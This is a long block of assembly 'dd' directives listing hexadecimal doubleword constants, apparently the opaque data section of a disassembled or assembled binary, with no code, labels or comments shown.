		dd 34980133h, 0E43FB1FEh, 12860CCh, 3800877Ah, 0B4DD797Eh
		dd 0D6039Bh, 0EA224B35h, 0C9AD9755h, 81F89F48h,	2EFB0B1Bh
		dd 5A003413h, 901F7D68h, 1CC288C0h, 82E6DF29h, 6915FA82h
		dd 0D4368041h, 7E00F6AEh, 1E9ACCC1h, 8D12A0h, 6BFCC701h
		dd 9D9454DAh, 0E82D8F00h, 25EBA648h, 26DC00B4h,	0B609AB63h
		dd 9160200Fh, 4EED4640h, 441007CEh, 2061EEFFh, 0FAA87DB1h
		dd 0F0C0CB00h, 0AD357A5Eh, 2B210033h, 0DA070174h, 887D5995h
		dd 8BD74C00h, 7112D002h, 0BA4226B5h, 0EB04001Dh, 0D9A4AA81h
		dd 2F1A6401h, 16F284DDh, 0C5AC4D4h, 4F409456h, 12000D76h
		dd 0D22C38E7h, 0FABA8BC1h, 354836h, 80CF21FAh, 0D0EEAA3Bh
		dd 89909AFFh, 7E1B5E00h, 7D8243BFh, 5B2A0016h, 539E17F1h
		dd 0A0083F3h, 4839CD56h, 1D93E360h, 0E86C6Bh, 0D89FB9A1h
		dd 0C152FC2h, 0D051ADh,	4C562515h, 90E55C38h, 0C0352400h
		dd 203B18BCh, 83007FD3h, 0CAAA4E66h, 0C036A8E5h, 14EC47F8h
		dd 3C964B7Ah, 58FDA930h, 0DBDE0111h, 0D6A12E95h, 8A20874Eh
		dd 65037E52h, 3D38B9FCh, 5504C4h, 300CA3B3h, 621CEB56h
		dd 2561F903h, 9FEC2E65h, 68ABE2D0h, 5F940151h, 26BF9503h
		dd 0B4BB70B1h, 40CA04Ch, 43F5463Ch, 0A208F4h, 0B88CC1DBh
		dd 8A322FC6h, 4CA05A90h, 0E5FCEBB5h, 55A19200h,	442F4D5Dh
		dd 0EFF2006Dh, 0C6AFA069h, 3362E768h, 6C1392E1h, 41EA00ECh
		dd 0BA6BBBBFh, 4F2EB4F4h, 4E840888h, 0DCE08D0Ah, 4C022DD8h
		dd 3F7187C0h, 4F06BC00h, 0FB97D1ACh, 300F0053h,	669E330Ch
		dd 7D002558h, 954294ADh, 40A768h, 0A1CA840Dh, 112B1306h
		dd 7962740Fh, 493F83C0h, 1EC09520h, 184A91h, 0EBF1A223h
		dd 0CAE42830h, 90D69C31h, 72D8AF4Bh, 516E0767h,	4065880Ah
		dd 8F3DC2BFh, 0B2108E04h, 0E8C061CAh, 0C4EB73h,	0C720BB80h
		dd 7667EA4h, 68BE7700h,	80FB519h, 0BAFD0FD2h, 0A7E0CB34h
		dd 15D813B8h, 1E218B00h, 0ACE8F2B9h, 1833001Ah,	0B514B424h
		dd 827A6BFBh, 0E10E3A7Dh, 40974A87h, 0F55236A9h, 77920024h
		dd 0AFEB3F83h, 4C006C66h, 4A8654F6h, 2E47AC59h,	3BEED8F9h
		dd 4502D8C8h, 71C3765Ah, 55B69C40h, 0F394F800h,	3660D270h
		dd 0EC744CCBh, 94EE280h, 85074D82h, 0ED3235F6h,	786881C9h
		dd 75E848A1h, 6C41161Ah, 0C2B809F7h, 392368E0h,	0B6030200h
		dd 11919DCBh, 8A1E0012h, 44DA9830h, 8100F7ECh, 0A76C1D79h
		dd 26B3BC93h, 5048861h,	1083B866h, 0DE01FAD4h, 682742E1h
		dd 0CEA0F4FDh, 190B2509h, 2D100043h, 5481CB3h, 10B4CD83h
		dd 40871ECAh, 0C7374008h, 2398C49h, 0CF161E9Ah,	38B00BFh
		dd 0B757CCE6h, 0EE0A1CBFh, 0D344C5F4h, 2C55C142h, 0D9183064h
		dd 172A5713h, 4C6B80C1h, 0F6ADB834h, 965300C5h,	234EF9A4h
		dd 900CC49h, 42BC7745h,	13A13Bh, 67891D08h, 2EF89403h
		dd 0E000E74Fh, 0E584C416h, 14E005h, 88974F20h, 0DE5742C6h
		dd 32EB7D00h, 3D8FC32Dh, 26FE0079h, 38EEE6ECh, 48007519h
		dd 0D0B4E46Ah, 15827Dh,	96F772A6h, 6F2BAD66h, 6BF1BF0Ch
		dd 303E8CEh, 233154BEh,	2AF7C48Fh, 0D8538D3h, 0C093CE37h
		dd 8535F8A7h, 6D794C18h, 1AAFD18h, 7B86CF2Dh, 0DCEA813Eh
		dd 590092B2h, 7E3A7DC0h, 5D57DE9Ch, 62D5454h, 0D802B080h
		dd 4CB6BF36h, 830BF013h, 6C480490h, 0B6A908C0h,	0D0E10033h
		dd 71F6CD32h, 0D52E0E27h, 0B918672Ah, 30FDABECh, 4FE855E6h
		dd 48989F0Dh, 0ED3E7417h, 0CCF95400h, 14106FEh,	71092BE2h
		dd 80D552F0h, 2C013E3Ch, 0C9A475h, 11A904B4h, 1D9538FEh
		dd 0F661038h, 925B520Fh, 19DD4CC1h, 0A1AC7F8h, 0AE144142h
		dd 0A33A80ECh, 72DF5C65h, 0FE765803h, 0E0C3D091h, 739A974Dh
		dd 59420F45h, 1B652FE3h, 9B4CA09Dh, 760FE803h, 0F05EA7D6h
		dd 50F9CD8Ch, 34FF8AAh,	8B90D451h, 46B8111Ch, 0CB008E30h
		dd 0DC819EA1h, 0ED25C6h, 0E343EE67h, 2EF8A21h, 0EBC7C302h
		dd 404D6314h, 1290A2E4h, 0C22B366Fh, 20E4EF18h,	4CADFB00h
		dd 36B83C2Eh, 809F381Bh, 0A7B54800h, 0C36413E2h, 6E00587Eh
		dd 0DDAF4DB9h, 0C7A5C6h, 34929103h, 0F1763ED4h,	0A979400Ah
		dd 9001D4B0h, 2C91E6A3h, 0F61B5AF4h, 0E7AD381Fh, 0F0505958h
		dd 190C0049h, 4CE3864Fh, 7F3D229Ah, 3A730075h, 9836A7F1h
		dd 637001BEh, 1E71B7C5h, 0D93880ACh, 0CDBFA89Ch, 73090E2h
		dd 677C352Ch, 474B5087h, 3B4C91DDh, 366D00ADh, 54631B13h
		dd 9CA400DAh, 0BB3020B3h, 5A07CDFDh, 7EA17947h,	0F1452980h
		dd 9C693B1Fh, 3DF29300h, 6A22D3F4h, 55558D2Ch, 0F3384700h
		dd 83567Ch, 8B4E24AEh, 7B070CE9h, 0CB4BB10Eh, 0E00A4F21h
		dd 0F36957C8h, 0DBBA0074h, 7067D91h, 994AD838h,	414D7840h
		dd 4CC42DC1h, 7E2EC54Eh, 9A610098h, 221126EEh, 74F8DA2Ch
		dd 0B65D5681h
		dd 0C644F36h, 0CE05171Eh, 10F89779h, 88C6FE74h,	8B00CD74h
		dd 8EEAA75Fh, 559F38h, 0C3350566h, 90F1FBFFh, 0E0223600h
		dd 1D305F4Ah, 0ACCA02C4h, 3BE16A3Ch, 8843FCF8h,	0C5BD8D87h
		dd 7604AEAEh, 9C805C7Bh, 9723DFh, 0C892B6DDh, 21044271h
		dd 4100F67Dh, 54D91F8Dh, 28CEF59Ch, 3FE08A8Ch, 56B8BEF7h
		dd 34E0DC00h, 69052F08h, 7F3D5A18h, 14D773B0h, 0E483E5D1h
		dd 0F3767200h, 609880D6h, 0DA00477Bh, 4367E265h, 154224Bh
		dd 942B8C90h, 0C4F57595h, 700D34Ch, 0A9B805BEh,	0B7257EDh
		dd 123191BCh, 0E3449420h, 3005E74Bh, 2F389E1Eh,	0BB4F1CD0h
		dd 84230005h, 0D385BDF5h, 8807FCD1h, 0A9B10846h, 5FB3C9C0h
		dd 3C4F00BFh, 6CF9F27h,	9001344Dh, 0D36BA14Bh, 0E0E4E285h
		dd 3DFB0043h, 0CB35D6E9h, 0F5005B3Ah, 5F1068E5h, 4DE4E3h
		dd 0AEC59B20h, 0D8B35065h, 6D37C800h, 0A25B8BDBh, 0D031481Fh
		dd 0F7EE84Fh, 0A04B7CD7h, 39378D19h, 8B43EEDh, 5EF6017Fh
		dd 1791B19Ah, 4A4C600Eh, 20050FCh, 0ED1A8FD2h, 5C60ECE7h
		dd 0A01E0FA3h, 638900C2h, 0CD39C655h, 7E036FF0h, 0A7659858h
		dd 0AD1ED8D6h, 1AB90787h, 7081B4E0h, 0EFC876F6h, 0C754C400h
		dd 4957B98h, 0B2A50B47h, 7400E4A4h, 0C3186EDh, 0AB212800h
		dd 6863044Bh, 3059F86Dh, 18214653h, 0D60745FEh,	745DB38Bh
		dd 1180C547h, 71657ABh,	0CEC4F430h, 5C4C1353h, 599A7FD0h
		dd 5E060701h, 0BDDA55CCh, 0E8027828h, 32A49B02h, 0F40D18E9h
		dd 6F001CDFh, 7EF248C6h, 0BB85283h, 19D0CF91h, 10351C87h
		dd 0A6E561FAh, 945E1200h, 0C64BE46Bh, 62360064h, 0B64A7DF7h
		dd 230C17F3h, 384E046Eh, 863E14D1h, 3800A5E7h, 485FA27Ch
		dd 831210CCh, 9C00D947h, 82FF28D2h, 0AB1D2870h,	0D37A0908h
		dd 4435964h, 0FC2F72E0h, 0EB0ED7F4h, 8E9FDDF3h,	80F26FBFh
		dd 0E8270635h, 0D69800AEh, 0B670AB7Bh, 0D0B578C4h, 44FB2E63h
		dd 48AC0F9Ch, 5CF7D080h, 6BE2DB59h, 388B6A18h, 17DDF441h
		dd 4081CB90h, 0B0DE37B4h, 0E000C24Eh, 0A44903B6h, 2F1D4Dh
		dd 2A85915Dh, 0FF425311h, 44EC3D07h, 8A108B78h,	0EF74B9Bh
		dd 0D9364189h, 7F6DC021h, 0EE8DD862h, 0F42C5C01h, 0C5A94467h
		dd 0AA38D4h, 0E83E3A8h,	931DD34Eh, 160B38h, 0F2A1BFFh
		dd 0D22EA0h, 0D9013F47h, 88C44C7Ah, 0CB572D07h,	7E60A7F0h
		dd 83399Bh, 7829816Ah, 0AB9E4876h, 67E35809h, 0DEC78077h
		dd 0EB570Eh, 334F7B83h,	145B0DF5h, 5A0AAA00h, 0EAC2F02Fh
		dd 5D19805h, 0A0D22719h, 6A1FC034h, 260E9C11h, 27DFFDB8h
		dd 0F3405DFFh, 2406C60h, 0EF5E5497h, 0F86AF432h, 5504D808h
		dd 18FE0074h, 5BBCAD10h, 0D500E446h, 16A889BDh,	154F4Ch
		dd 0F7CA9B17h, 1410B9E3h, 0CB80D50Eh, 88818011h, 0F8A8BDB2h
		dd 54E20FB3h, 0AFCEAC46h, 44C6AA41h, 15CDF08Eh,	0C9004774h
		dd 0C07BEA5Ah, 0F689A9h, 0B210A1EBh, 176B4BCh, 0BEC63Ch
		dd 67AEE175h, 2BACC15h,	0DF18448Ch, 0A7E1E876h,	40023B3Eh
		dd 13FF07Eh, 196E53Dh, 0CF10819Dh, 52801E7Ch, 40C989F2h
		dd 29BD614h, 1821DC83h,	0E89511F1h, 11849D11h, 9117FE7h
		dd 0DCA1135Ah, 4A85EF44h, 0CA042803h, 0D0A3EB8h, 0ECF4083Ch
		dd 0EA841F90h, 42D948E2h, 9B245722h, 12D97021h,	0F61484E5h
		dd 2882B722h, 3124DC59h, 1270B121h, 49A1053h, 441D4040h
		dd 185499ECh, 67442FA0h, 29086474h, 0B30E4029h,	1556D43h
		dd 377F16BAh, 704CD540h, 69008725h, 7EAF0159h, 0B8B9FCh
		dd 9080F2DEh, 0E92B98D7h, 72229600h, 95F08C5Bh,	26160FCAh
		dd 0E3FCED1h, 6D41B198h, 87A807FFh, 0E4F3B0CAh,	0ABB58350h
		dd 3B913A43h, 4E03B4CCh, 0ED880EA5h, 24E2A6D8h,	0C078B100h
		dd 57411CB3h, 0E373CDh,	237C529Fh, 6B8EF37h, 916BCC01h
		dd 0CE0FB73Fh, 994DF0h,	5896DD41h, 0C2EB723Ah, 0B2359E1Ch
		dd 0A005F9C9h, 0DD4C6398h, 0A36701D8h, 0B60671AEh, 7719F439h
		dd 551AA900h, 2621DCC7h, 598F1868h, 4C2E503Ch, 30666200h
		dd 0F32CD463h, 0E1DCEBAAh, 7D21003Ch, 9E3927A9h, 50943FEBh
		dd 8B17F824h, 0CD8C0Bh,	7AD85FD9h, 0D406007Fh, 764D102Dh
		dd 3B03A074h, 0AB0D5E4Ch, 5CE6B059h, 2CDF0061h,	246D4FCCh
		dd 0CA00D8DBh, 0F3D6F1F9h, 1B0B23h, 98059903h, 7ED3077h
		dd 8A70E30Ch, 1D72069h,	0F7D4195Ch, 20969D75h, 82E0770Dh
		dd 4A5DB200h, 0F42542C0h, 0B86B07Fh, 7DFA2887h,	8000E80Fh
		dd 0B44DFB41h, 0BD3E000h, 8283EA0h, 0A9F10050h,	47822B9Dh
		dd 1500B54Ch, 0F96F72A7h, 0B810CE21h, 7B61007Dh, 0F46422EDh
		dd 0A77081Dh, 88DBAC28h, 9F825A00h, 0E2C0A4B1h,	21EEC2h
		dd 7857E0D2h, 0C888FD93h, 0B8359B00h, 2EC3A4BFh, 80DD00F9h
		dd 933EF705h, 103F0A58h, 440BFB9h, 0CA17BA1Ah, 5543480h
		dd 0D18087DCh, 2F3BBE3Fh, 6DCA282Dh, 0A3D81E90h, 61CCC0A0h
		dd 64B1B595h, 93CFD61Fh, 779851CBh, 9BC97680h, 1C0046A9h
		dd 24FF043h, 7143010h, 847B0DC3h, 70931134h, 7820207Ah
		dd 0B0AF2602h, 41A3BE32h, 0E7DC8C18h, 0A77EAAh,	19225DD5h
		dd 7FA4362Bh, 0E1912704h, 0DCD02E41h, 78BBFF2Ah, 77301FF1h
		dd 0FC813B06h, 728811CAh, 85BD20B9h, 0B0001E71h, 47099BC0h
		dd 0FE612097h, 4F5A074Dh, 0F0F4B8BEh, 2A810A02h, 0A9F57800h
		dd 0ADCC4093h, 0A0D5848h, 1C90B100h, 0AB3D7B92h, 7CD26700h
		dd 8F02A5Ah, 0DCF0EC2h,	0E84788D1h, 4EEF70A5h, 7D004C98h
		dd 78AE6C23h, 25F9A1h, 90C903D7h, 0D8C512Ch, 2302E100h
		dd 0FDCB2E17h, 1A070637h, 290B95E8h, 0B361DC00h, 0A5D3E9DAh
		dd 0E6300FAh, 0C3568B55h, 0C000FBD2h, 0F5AEEBBh, 0C2B927h
		dd 939EDF84h, 256564E5h, 8BC5DE00h, 0CD0F4A7Ah,	0F68D00B4h
		dd 72E60A4Bh, 551EAF63h, 45005F9Dh, 3294573Eh, 0FAA660EFh
		dd 1C7DE3B5h, 92F0960Eh, 44C3FC30h, 0F0C23CC3h,	0CE65DBD8h
		dd 52C0220Eh, 16BB91D5h, 5000BF7Dh, 0C5D9A14Ch,	4310CBh
		dd 929790C7h, 0B7F0DFDCh, 40EE3400h, 0F6412FABh, 0DE5A0064h
		dd 915FA0CDh, 89136BB2h, 0B9B82EEAh, 3C8A8D00h,	3E36F46Eh
		dd 9F904D00h, 4972D2E9h, 0EA6379F1h, 51B0A07Ah,	5A2C0027h
		dd 30ABD8D7h, 0B31D5BD2h, 1094D6DEh, 0AF1500C2h, 63C8BEFCh
		dd 22990225h, 8A6F5CE7h, 91C08C83h, 57207BD8h, 11B7810Eh
		dd 1B4700F8h, 0AC5C10h,	0B4277342h, 4BC06F50h, 32A7CA00h
		dd 486DD30Eh, 84993B89h, 0B7A001F4h, 0BC98F09Bh, 0D23D6090h
		dd 0F5748200h, 49C39948h, 383F00BEh, 84B33EEBh,	0C8004DB6h
		dd 0F8C99BCCh, 0F9C588Ah, 0EF17F298h, 8466A5h, 25CF01CEh
		dd 0BC07511Ah, 0B40FB03Bh, 4950807Eh, 0EFB1EAh,	0D8CC79F8h
		dd 486C411Eh, 5DADE309h, 92C50006h, 14C9F9EEh, 0CE426EDh
		dd 9ACDD480h, 9800CA51h, 0FBA46159h, 7AFFE844h,	0AC5602B1h
		dd 695517F4h, 62248C81h, 0BC6FECF1h, 8753A500h,	22A0860Ch
		dd 42553C60h, 7AEC7381h, 0D04BCB48h, 92004CD3h,	41E5E228h
		dd 1A50Bh, 0F1DAE0C8h, 821E1569h, 0E104848h, 78C2227h
		dd 9DB07402h, 14663119h, 8C4B7D12h, 0BD0B1D02h,	0C080C1EEh
		dd 9B6810D6h, 3B32E100h, 0B9F3B51Eh, 92830016h,	0C48743F2h
		dd 20045C1Dh, 843FBBB3h, 1E733481h, 0A11BE8h, 6B1D0E78h
		dd 1AD6EAF0h, 68000574h, 0EB88C129h, 0D93DF1h, 18980396h
		dd 6AA19907h, 2A504500h
		dd 0DF2F6FEAh, 1D873934h, 634D1700h, 0F13E64A1h, 3AD3BD00h
		dd 21E2EFCBh, 42C50107h, 76BEB175h, 0F3BE0D1h, 1007872h
		dd 84509B2Ch, 0E9C5408h, 34C2A87Eh, 11224361h, 40CFF3A3h
		dd 56C90D66h, 1854F507h, 2420DA1Ah, 75A9DE0Ah, 48A53E75h
		dd 0E4E1600h, 5CD4AF29h, 0C2EFCA07h, 4373A799h,	91F6A83Ah
		dd 9E760FBCh, 0CC201073h, 2C725E65h, 0AF302504h, 6C802A8Dh
		dd 346296Eh, 51ED523Eh,	0D1E875FCh, 71601EAh, 8019FC6h
		dd 744656E5h, 0DD4ADCh,	0D8DF14EBh, 30DF3CCh, 6E80A007h
		dd 930F6ACh, 0FB21C3Ch,	0A5201AD7h, 0CC0A7EA3h,	0E471AAE0h
		dd 33156B00h, 4A0291ACh, 3C414C6Ch, 0C4B2CD07h,	9731E07Dh
		dd 0E4006799h, 0CF535E93h, 8B87C5h, 0C003ADA6h,	8657F7D1h
		dd 8497E0E3h, 5F716B05h, 5087D8F0h, 0EE000029h,	0C0C3B9h
		dd 886421C7h, 977A25A5h, 0D4EDCC00h, 81FDECE3h,	7602130Eh
		dd 13B800F7h, 937C4530h, 0E40088FEh, 0D80957F5h, 1D5105D3h
		dd 5C2232F0h, 8017DF3Bh, 0CD1BD980h, 0B000167Ah, 0C0D1DBFCh
		dd 38E36BAh, 6CEAA6A1h,	4CE89245h, 0BD01DC73h, 0AD3448C8h
		dd 42F49370h, 0D7DA00B4h, 37770263h, 0B0021F5h,	0F6EC44D2h
		dd 0F07BA7h, 0D3E891C9h, 83C38C79h, 0D70071F8h,	44349078h
		dd 39BE16h, 1AAB6F14h, 7F9126D4h, 9B6AF607h, 0FF608525h
		dd 0B36D62h, 0B47109BFh, 0C5F9F50Bh, 0C75AA00Eh, 45F16F77h
		dd 8E205Eh, 7D1856F2h, 0F4E64CAEh, 17705A03h, 3BD08AF0h
		dd 0E5B81330h, 0C70090F8h, 57603FCAh, 1D10BE95h, 0D3BF1E61h
		dd 0D65F0005h, 5DA65993h, 0C6B3100h, 0C7D7206Dh, 0C8E30029h
		dd 0AEC6EFF8h, 39007766h, 971DC9D6h, 3A4F9C4h, 0DA91296Fh
		dd 1C80B2DDh, 6C00511Fh, 723E58FFh, 0FA0ACDh, 3BD50417h
		dd 0C44FE0E9h, 1C034DEEh, 0A1072E5Fh, 0B2CFD0A7h, 9EC7ACCh
		dd 86909B4Bh, 0D0883401h, 5E1701Ah, 2DA6D302h, 4093E940h
		dd 1388584h, 0E7538C98h, 0CC1C15CAh, 2E005E66h,	56309DB7h
		dd 38A5E6h, 0E0A48EADh,	36DB25DCh, 0FA00F8FCh, 2F1B4D9Ch
		dd 0E426C10Ah, 4891B81Ch, 1104847Eh, 24D04106h,	907A4680h
		dd 1E966033h, 428BE721h, 25F35600h, 0E26793BDh,	71B3075Ch
		dd 8B08D247h, 56F5FC20h, 0D150FE58h, 880014C4h,	7C696BE0h
		dd 0CB2241h, 8DB0A4D9h,	8AA382CFh, 0C5A07E01h, 0F5E6EDAh
		dd 480109C9h, 4CE0371Fh, 26892450h, 3EC7014h, 67BE5C08h
		dd 0B6876EBh, 87C92E95h, 47B09C00h, 860ED86Eh, 273DC51Ch
		dd 7170F877h, 214A530h,	76576F41h, 5A4192E4h, 0CB4AC47Eh
		dd 5FC41D00h, 94F8B32Bh, 4C6300DAh, 8AD2CDAAh, 0C73EB584h
		dd 0B8ED0042h, 1AB191CBh, 8763002Ah, 925488A8h,	19006DC6h
		dd 615D3E2h, 0EA04FEh, 0D0A8AB99h, 575D3601h, 68F37800h
		dd 517E32FFh, 60BD002Ch, 0BCD756ABh, 25006B1Eh,	5549C0BEh
		dd 6790CDh, 0CF3F7B89h,	7145EC68h, 1E30AC00h, 41FD2C7Ch
		dd 43C500FFh, 680B2FA3h, 0F22C3884h, 0B400A794h, 73CEC9E9h
		dd 176E0016h, 3E4065B7h, 790A63CAh, 0D8D5705Dh,	49197BEh
		dd 51063500h, 16CF235Ah, 0C98BDDh, 1C4942F0h, 0A4F8BA5Ch
		dd 99B29000h, 1B443AB5h, 6C7E3Dh, 182B1A40h, 0E40FE54Eh
		dd 93BAD607h, 0C4E153F3h, 8B3079B9h, 71E22E88h,	2438001Ch
		dd 0DE1DD7AFh, 13FD0A00h, 104B9D8Fh, 27F000D3h,	26F8A079h
		dd 37AE49Eh, 327AF11Dh,	0E2C3DDDCh, 0B0AB1A22h,	447E34h
		dd 131C9368h, 986142AEh, 0E85E3507h, 0F3B0B590h, 1066975h
		dd 604FE54Bh, 8FC87F5Bh, 5FD43938h, 0EE1F1102h,	0C175C0F2h
		dd 0F7043969h, 0BEF90073h, 14884624h, 0B003D5B7h, 6C9BA44Eh
		dd 9F4040CCh, 4C3D0008h, 206EF572h, 7607DFCBh, 0DDF8A2ECh
		dd 0F961ABA1h, 0C904F4h, 0DCE4568h, 0CD9EBFA0h,	97A3D07h
		dd 40098BBBh, 76FD4DCh,	9C98CB32h, 6047476Ch, 0A6C9BECCh
		dd 0D305D57Ch, 3F708308h, 0C722D800h, 0F9E6A49h, 79023C2Eh
		dd 0E567A3A1h, 7716C466h, 0AC0F2498h, 5E22D0A5h, 71B72C00h
		dd 87D596h, 0EB9DF1E8h,	898A8385h, 0E366AF00h, 0E45197EFh
		dd 0BB390007h, 9EC254F2h, 4300F96Ch, 0CBAFB2C5h, 18DDC08Dh
		dd 88206FA8h, 0AA01463Bh, 5B96874Ch, 0E02089EAh, 761C4C2Bh
		dd 1720C12h, 437EA1D4h,	80CF310Eh, 0CD297910h, 0F2F6571h
		dd 914EB8FFh, 0A17ED140h, 0E1008FA9h, 9AC61697h, 79706212h
		dd 91D300A6h, 0F19030C1h, 970FE8ACh, 36F01814h,	0D83001Dh
		dd 0F86A3519h, 4461D1h,	0C796340Ah, 20AEFD84h, 8046AF3Ch
		dd 0A79DB18Fh, 1EF6DCEEh, 0C00C231Fh, 0CAC645C4h, 7A186019h
		dd 1EE19BE6h, 98FB5CD3h, 0DE6E2Ch, 2A674B1Ch, 0E9032BCDh
		dd 33F9F6C6h, 0B5B0B820h, 18163893h, 0B265C500h, 0D38339DFh
		dd 7E910E00h, 0DC042B6h, 2557B89h, 0FD94B9A6h, 8880C72Dh
		dd 47A99EC1h, 0A43E7426h, 6B17E306h, 0C6420078h, 55A7F44h
		dd 0FC07C8A7h, 3EF1FB06h, 0EC36DCF0h, 17E60042h, 753B95A8h
		dd 0BBB064D6h, 0A1816200h, 5714B69Ah, 77D1C7A0h, 0FE2CF06Eh
		dd 63033D48h, 0D11AFC66h, 5354F0C9h, 989695h, 9F811323h
		dd 550147D6h, 0E95FAB9Bh, 0B430D0DDh, 0EC9600EAh, 0D775647Bh
		dd 600015F2h, 98DF22A7h, 3772B4FEh, 30706577h, 0C76AC84Eh
		dd 0BCE1CD03h, 0B030A3C2h, 780B9070h, 0D168C0DEh, 0F5E7E58Ah
		dd 0A7440100h, 571CCDFAh, 27F90F42h, 0E00FD212h, 0F522CCC0h
		dd 0C9612336h, 80450FD1h, 50C14082h, 0C0FA7Bh, 7475BC8Bh
		dd 48558h, 92B30DF4h, 8228AAh, 0A1203608h, 0A8783FFBh
		dd 3540F21Fh, 0CF69900h, 25194304h, 4005A76h, 0B83E5D30h
		dd 0F9030FE0h, 3188A5DEh, 6C908474h, 0EACB213h,	20B946BAh
		dd 47D4E2A7h, 0F1058EF4h, 0C0D887D3h, 85E30EF3h, 0C8ECBA00h
		dd 0B37CCD5Ch, 0D03005E1h, 404BD6C1h, 7583C2ACh, 0A000D59Eh
		dd 8CF1673Ah, 0F6E637h,	1771C84Ch, 491C0731h, 2E303367h
		dd 35FC0E80h, 10C10B89h, 8C2020D8h, 5AFF820Dh, 1B1D59C0h
		dd 0A38B49h, 0E943C26Ah, 0B21FB445h, 44293600h,	0CD0B8D3Dh
		dd 685400CEh, 157ED4FDh, 97009D2Bh, 13C08F7Dh, 0C9E844h
		dd 75CBA694h, 8AB50266h, 760A6C00h, 78210E3Ah, 51BC00A4h
		dd 0C4CB2F5Bh, 0DD00FFC2h, 0F5C76703h, 7C2C70h,	0F7201F90h
		dd 0F16908CCh, 1E034EE6h, 588BA9E9h, 5AB6A099h,	0C45C2452h
		dd 5600412h, 939BC07Eh,	40024832h, 0F0AA2FA8h, 76B24050h
		dd 1D110F35h, 1EE13B73h, 8E836612h, 20E16350h, 94ED5E47h
		dd 0FD15146Dh, 0AB00984Ch, 25884D3h, 44001C36h,	2BDEC4B4h
		dd 0E215CFh, 313DD9D5h,	0C361736Fh, 0C3077026h,	0C371D00h
		dd 9C1DDh, 5D34A7EFh, 15EB8517h, 8DF2CBF4h, 8007174h, 8E53ACCAh
		dd 55D5B9h, 3424DCC9h, 294CFC35h, 0C7113F00h, 0A66E1E61h
		dd 30C07849h, 0F0213DD7h, 2D06A158h, 70D62082h,	76070F50h
		dd 9167DF67h, 0D6BF003h, 0C50399B1h, 3D71E7A2h,	0CED089E4h
		dd 0FAFC02C4h, 0D387003Fh, 18FBAB96h, 4D147C1Fh, 8C9FDEh
		dd 1B6F4E15h, 15EADFDh,	0ED4AB55Dh, 0D85BF640h,	7A0E9AC1h
		dd 8031958Bh, 918998F4h, 774D004Ch, 1B7B7EF7h, 7F5C4B2Ah
		dd 1A3E0565h, 97C0E7E4h, 1F551E0h, 70F93549h, 309ACF8Ch
		dd 0D907E4CCh, 0D0297417h, 3443DD30h, 60C400A6h, 6E7EEBFBh
		dd 0DA2C23D4h, 3D806CFDh, 0AAC748C6h, 5DEE00EFh, 423579B2h
		dd 753D4ADAh
		dd 800927D8h, 2A06708Ch, 0F80F5D21h, 0B8FA7C03h, 1FA010B5h
		dd 0C3006036h, 7A91E5A1h, 0D2CC84h, 0AF118CE8h,	77D5BB47h
		dd 0C030EC99h, 2535371Ch, 2880FFE0h, 0C215A318h, 4E8A3609h
		dd 8EAC20BBh, 60AB7AB7h, 0A47B11CFh, 0CCE1E50Bh, 0A504C275h
		dd 0DA605721h, 909CBC80h, 0CA390444h, 0A4A73392h, 2B258A88h
		dd 4907470h, 0A01BE94Dh, 5F065860h, 64712D8Bh, 0E6903D61h
		dd 8A030AD8h, 4B131108h, 0A30760CFh, 703A5FD1h,	0E3040357h
		dd 0E8977FC2h, 4BFD05h,	3EBEFC50h, 4072E4D3h, 0CFFFE8C3h
		dd 655901ABh, 0BD9CE2EAh, 0C486E057h, 7118955Ch, 0DE7C1400h
		dd 0DAAB06B4h, 0C6F6006Fh, 0D82135FFh, 1F003915h, 254B7BC2h
		dd 230602h, 0F6905347h,	9EEEA5ADh, 80F79B04h, 0B480301Ah
		dd 32D54Dh, 0D624773Ah,	0AF310D7Ch, 0A91FCE12h,	0B6853D1Dh
		dd 36C4497Dh, 6A3CE881h, 674EDCh, 1F6B1DA4h, 393BDEF6h
		dd 5A8D681Eh, 5240BB5Fh, 32B370B0h, 9A3439C0h, 0E9E2AA80h
		dd 50282E83h, 59C4791Fh, 8A161D80h, 1690C7F1h, 8C84B94Fh
		dd 0A7004508h, 2CE4255Dh, 278159h, 3FC8CB62h, 0BFEE9141h
		dd 92CF5C00h, 0D3BCCCC2h, 5E0043Ah, 0C09BA2B4h,	3308232Fh
		dd 56F0AF00h, 12A9706Fh, 4ACD0041h, 0DA05AE49h,	300726AAh
		dd 0F3774B62h, 0C0E7EFC0h, 38D71D54h, 59DD5Ch, 5F40DF33h
		dd 0DB05A1FDh, 3DD469A2h, 5634B0h, 0BA258BB8h, 853B4B20h
		dd 9D2D5800h, 3E0EFCC5h, 30E458C3h, 8DC0AF07h, 4B0304Bh
		dd 0FD00C78Eh, 0C2B621B2h, 0DC1F81h, 6971DB1h, 5B4522C9h
		dd 67DA7700h, 0F4602F8h, 8E50751h, 318E4252h, 0F8A2B12Dh
		dd 7C16C44Fh, 0CC418593h, 13167A06h, 0A808F0EAh, 7DE94h
		dd 0B34E755Ah, 3F78AE14h, 26502500h, 8090C9F6h,	35940045h
		dd 0C5542719h, 4E00ABADh, 286F58F7h, 0B575FEh, 46F1D842h
		dd 0A895761Fh, 61E35403h, 3B7334F6h, 864C7F10h,	0DC911900h
		dd 1A6B3A87h, 0F7A2EC05h, 0F28052AAh, 77A6859Fh, 0D8C003BBh
		dd 0FC92553Eh, 3205D5C8h, 5A7AADF2h, 65672424h,	34985000h
		dd 749FE54Dh, 0C5B000DBh, 12D2A1C7h, 0E80E030Ch, 0C0AF5F60h
		dd 0ED3D36F6h, 0FC7300ECh, 0A4891F77h, 92002572h, 2E3CADDFh
		dd 9057D2CDh, 0F41C0060h, 11473968h, 0E40F4BBDh, 831B7E97h
		dd 0C83AAC0Ah, 0B24358h, 0D25310AEh, 0E03B14A1h, 88428B00h
		dd 0F0770EA3h, 2DA23F99h, 0E8336204h, 1A2F00BFh, 2636C0A7h
		dd 8118148Ch, 5B4A565Fh, 4E118069h, 6F3CD51h, 75C302Ch
		dd 1D97D70Ah, 9D3DEA38h, 6A438C41h, 9052298Ah, 0B0E9E8h
		dd 17C9C218h, 0BD43BEFAh, 0F814D91Ch, 0ABCC00FFh, 4FA73F30h
		dd 0D4CD0026h, 5E61B2F3h, 0AF76292Eh, 2E1C074Dh, 8E0064C8h
		dd 24A53DC3h, 0EA1000D3h, 0AD0B538Bh, 7F002ABCh, 452C9DE5h
		dd 0FA5735Eh, 44EE405Ch, 0DD6FD1E3h, 7C013800h,	4DA855CBh
		dd 0E6BA0065h, 8AAB473Ah, 3900F714h, 50233E0Ah,	3C319CF5h
		dd 0BF80A2A5h, 0A73D6F15h, 3816E29Bh, 240042D0h, 18F4CB6Eh
